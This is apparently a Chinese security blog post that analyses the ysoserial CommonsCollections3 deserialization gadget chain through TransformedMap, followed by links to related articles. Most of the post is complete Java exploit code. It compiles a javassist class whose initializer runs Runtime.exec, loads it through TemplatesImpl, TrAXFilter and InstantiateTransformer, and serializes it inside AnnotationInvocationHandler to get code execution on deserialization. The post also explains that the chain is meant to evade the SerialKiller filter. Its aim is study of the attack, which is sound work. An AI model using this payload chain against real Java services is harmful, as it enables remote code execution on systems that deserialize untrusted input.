CC3的利用链在JDK8u71版本以后是无法使用的,具体还是由于AnnotationInvocationHandlerreadobject进行了改写。

而CC3目前有两条主流的利用链,利用TransformedMap或者LazyMap。我们这篇文章先讲TransformedMap链

TemplatesImpl

在CC2中利用javassist创建了一个攻击类,使用TemplatesImpl类中的newTransformer方法触发

这里写一个简单的demo来演示下:

  1. public class Demo {
  2. public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
  3. Field field = obj.getClass().getDeclaredField(fieldName);
  4. field.setAccessible(true);
  5. field.set(obj, value);
  6. }
  7. public static void main(String[] args) throws Exception {
  8. String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
  9. //创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
  10. ClassPool classPool= ClassPool.getDefault();//返回默认的类池
  11. classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
  12. CtClass payload=classPool.makeClass("CommonsCollections2");//创建一个新的public类
  13. payload.setSuperclass(classPool.get(AbstractTranslet)); //设置CommonsCollections2类的父类为AbstractTranslet
  14. payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个static方法,并插入runtime
  15. byte[] bytes=payload.toBytecode();//转换为byte数组
  16. TemplatesImpl templatesImpl = new TemplatesImpl();
  17. setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
  18. setFieldValue(templatesImpl, "_name", "HelloTemplatesImpl");
  19. setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
  20. templatesImpl.newTransformer();
  21. }
  22. }

newTransformer方法执行就会弹出计算器

InstantiateTransformer

这个类的transform方法是利用反射获取类的构造方法对象,再通过该构造方法实例化对象

newInstance就是调用构造方法创建一个对象

  1. // 使用构造器对象的newInstance方法初始化对象
  2. Object obj = constroctor.newInstance("yy", 18);

TrAXFilter

TrAXFilter的构造方法中调用了templates.newTransformer

如果templates变量的值为TemplatesImpl的话,则就能调用到TemplatesImpl的newTransformer方法

这三条链形成一个调用链:

利用InstantiateTransformer#transform调用TrAXFilter的构造方法,再利用构造方法里的templates.newTransformer调用到TemplatesImpl的newTransformer方法。

结合一下ChainedTransformer调用链可以轻松完成构造

  1. Transformer[] transformers = new Transformer[]{
  2. new ConstantTransformer(TrAXFilter.class),
  3. new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})
  4. };
  5. ChainedTransformer chain = new ChainedTransformer(transformers);

这时候我们只需要调用ChainedTransformer的transform即可触发整条链。这里使用的是TransformedMap来触发ChainedTransformer#transform

  1. public class Demo {
  2. public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
  3. Field field = obj.getClass().getDeclaredField(fieldName);
  4. field.setAccessible(true);
  5. field.set(obj, value);
  6. }
  7. public static void main(String[] args) throws Exception {
  8. String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
  9. //创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
  10. ClassPool classPool= ClassPool.getDefault();//返回默认的类池
  11. classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
  12. CtClass payload=classPool.makeClass("CommonsCollections2");//创建一个新的public类
  13. payload.setSuperclass(classPool.get(AbstractTranslet)); //设置CommonsCollections2类的父类为AbstractTranslet
  14. payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个static方法,并插入runtime
  15. byte[] bytes=payload.toBytecode();//转换为byte数组
  16. TemplatesImpl templatesImpl = new TemplatesImpl();
  17. setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
  18. setFieldValue(templatesImpl, "_name", "HelloTemplatesImpl");
  19. setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
  20. Transformer[] transformers = new Transformer[]{
  21. new ConstantTransformer(TrAXFilter.class),
  22. new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})
  23. };
  24. ChainedTransformer chain = new ChainedTransformer(transformers);
  25. Map innerMap = new HashMap();
  26. innerMap.put("value", "xxx");
  27. Map decorate = TransformedMap.decorate(innerMap, null, chain);
  28. decorate.put("xxx","xxx");
  29. }
  30. }

到这里是不是开始像CC1中的TransformedMap调用链了。没错,再用AnnotationInvocationHandler的readObject做为反序列化入口就可以构造出整条链了。

顺便复习一个知识点:TransformedMap里的每个entry在调用setValue方法时,会自动调用TransformedMap类的checkSetValue方法

完整的构造链

  1. public class payload02 {
  2. public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
  3. Field field = obj.getClass().getDeclaredField(fieldName);
  4. field.setAccessible(true);
  5. field.set(obj, value);
  6. }
  7. public static void main(String[] args) throws Exception {
  8. String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
  9. //创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
  10. ClassPool classPool= ClassPool.getDefault();//返回默认的类池
  11. classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
  12. CtClass payload=classPool.makeClass("CommonsCollections2");//创建一个新的public类
  13. payload.setSuperclass(classPool.get(AbstractTranslet)); //设置CommonsCollections2类的父类为AbstractTranslet
  14. payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个static方法,并插入runtime
  15. byte[] bytes=payload.toBytecode();//转换为byte数组
  16. TemplatesImpl templatesImpl = new TemplatesImpl();
  17. setFieldValue(templatesImpl, "_name", "xxxx");
  18. setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
  19. Transformer[] transformers = new Transformer[]{
  20. new ConstantTransformer(TrAXFilter.class),
  21. new InstantiateTransformer(
  22. new Class[]{Templates.class},
  23. new Object[]{templatesImpl})
  24. };
  25. ChainedTransformer chain = new ChainedTransformer(transformers);
  26. Map innerMap = new HashMap();
  27. innerMap.put("value", "xxx");
  28. Map decorate = TransformedMap.decorate(innerMap, null, chain);
  29. // 通过反射机制实例化AnnotationInvocationHandler
  30. Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  31. Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
  32. cons.setAccessible(true);
  33. Object ins = cons.newInstance(java.lang.annotation.Target.class,decorate);
  34. // 序列化
  35. ByteArrayOutputStream baos = new ByteArrayOutputStream();
  36. ObjectOutputStream oos = new ObjectOutputStream(baos);
  37. oos.writeObject(ins);
  38. oos.flush();
  39. oos.close();
  40. // 本地模拟反序列化
  41. ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
  42. ObjectInputStream ois = new ObjectInputStream(bais);
  43. Object obj = (Object) ois.readObject();
  44. }
  45. }

其实此条链就是为了对付某些策略对InvokerTransformer类的限制(比如SerialKiller过滤器),而导致不能利用,产生的一条新链。

SerialKiller过滤器:https://github.com/ikkisoft/SerialKiller

当然在ysoserial中,并不是利用的TransformedMap构造,而是用的CC1中的另一条LazyMap链。下篇就讲怎么使用LazyMap构造CC3

ysoserial CommonsColletions3分析(1)的更多相关文章

  1. ysoserial CommonsColletions3分析(2)

    上篇文章讲到CC3的TransformedMap链,这篇我们就来讲一下LazyMap链. 其实LazyMap链还是使用的TemplatesImpl承载payload,InstantiateTransf ...

  2. ysoserial CommonsColletions4分析

    ysoserial CommonsColletions4分析 其实CC4就是 CC3前半部分和CC2后半部分 拼接组成的,没有什么新的知识点. 不过要注意的是,CC4和CC2一样需要在commons- ...

  3. ysoserial CommonsColletions2分析

    ysoserial CommonsColletions2分析 前言 此文章是ysoserial中 commons-collections2 的分析文章,所需的知识包括java反射,javassist. ...

  4. ysoserial CommonsColletions1分析

    JAVA安全审计 ysoserial CommonsColletions1分析 前言: 在ysoserial工具中,并没有使用TransformedMap的来触发ChainedTransformer链 ...

  5. ysoserial CommonsCollections2 分析

    在最后一步的实现上,cc2和cc3一样,最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化. 已知的TemplatesImpl->newTransformer()是最终 ...

  6. ysoserial CommonsColletions7分析

    CC7也是一条比较通用的链了,不过对于其原理的话,其实还是挺复杂的.文章如有错误,敬请大佬们斧正 CC7利用的是hashtable#readObject作为反序列化入口.AbstractMap的equ ...

  7. ysoserial CommonsColletions6分析

    CC6的话是一条比较通用的链,在JAVA7和8版本都可以使用,而触发点也是通过LazyMap的get方法. TiedMapEntry#hashCode 在CC5中,通过的是TiedMapEntry的t ...

  8. ysoserial CommonsColletions5分析

    我们知道,AnnotationInvocationHandler类在JDK8u71版本以后,官方对readobject进行了改写. 所以要挖掘出一条能替代的类BadAttributeValueExpE ...

  9. ysoserial commonscollections6 分析

    利用链如下: 其中LazyMap.get()->ChainedTransformer.transform()-InvokerTransformer.transform()与CC1链一致. /* ...

随机推荐

  1. onethink-i春秋

    记一道onethink漏洞拿flag的题. 因为用户名长度被限制了,注册两个账号分别为 %0a$a=$_GET[a];// %0aecho `$a`;// #(%0a是换行符的urlencode) 点 ...

  2. finalize() 方法——Java中垃圾回收提醒方法

    finalize() Java 允许定义这样的方法,它在对象被垃圾收集器析构(回收)之前调用,这个方法叫做 finalize( ),它用来清除回收对象. 例如,你可以使用 finalize() 来确保 ...

  3. 测试JUC安全类型的集合:CopyOnWriteArrayList

    测试JUC安全类型的集合:CopyOnWriteArrayList 代码: package multithreading.TestSynchronized; import com.sun.xml.in ...

  4. Java8新特性(一)之Lambda表达式

    .personSunflowerP { background: rgba(51, 153, 0, 0.66); border-bottom: 1px solid rgba(0, 102, 0, 1); ...

  5. excel的导入与导出---通用版

    excel的导入与导出---通用版 web项目关于导入导出的业务场景很常见,最近我就又遇到了这个业务场景.这次将最近半个月做的导入导出总结一下 使用的pom如下,主要还是阿里巴巴的easyexcel依 ...

  6. SpringMVC学习09(文件的上传和下载)

    文件上传和下载 准备工作 文件上传是项目开发中最常见的功能之一 ,springMVC 可以很好的支持文件上传,但是SpringMVC上下文中默认没有装配MultipartResolver,因此默认情况 ...

  7. DVWA-全等级SQL注入(显注)

    前言: 首先是DVWA环境的搭建: 1.DVWA. 2.PHPSTUDY/WampServer,这里有一个坑,因为他是一体化的,PHP版本必须在5.4以上,否则显注不能打开.或者自己搭建LAMP环境. ...

  8. S3C2440—3.用点亮LED来熟悉裸机开发的详细流程

    文章目录 一.硬件知识 1.LED原理图 2.芯片手册 Ⅰ.找LED原理图 Ⅱ.找对应引脚 Ⅲ.在芯片手册中查找引脚信息 Ⅳ.查看寄存器说明 Ⅴ.配置寄存器 二.S3C2440框架与启动过程 三.要用 ...

  9. chcon命令详解

    导读 chcon命令是修改对象(文件)的安全上下文,比如:用户.角色.类型.安全级别.也就是将每个文件的安全环境变更至指定环境.使用--reference选项时,把指定文件的安全环境设置为与参考文件相 ...

  10. 利用maven构建一个spring mvc的helloworld实例

    刚开始学习maven和spring mvc,学的云里雾里的 这里提供一个hello world实例,记录自己的学习之路 首先看maven官网的介绍 Apache Maven is a software ...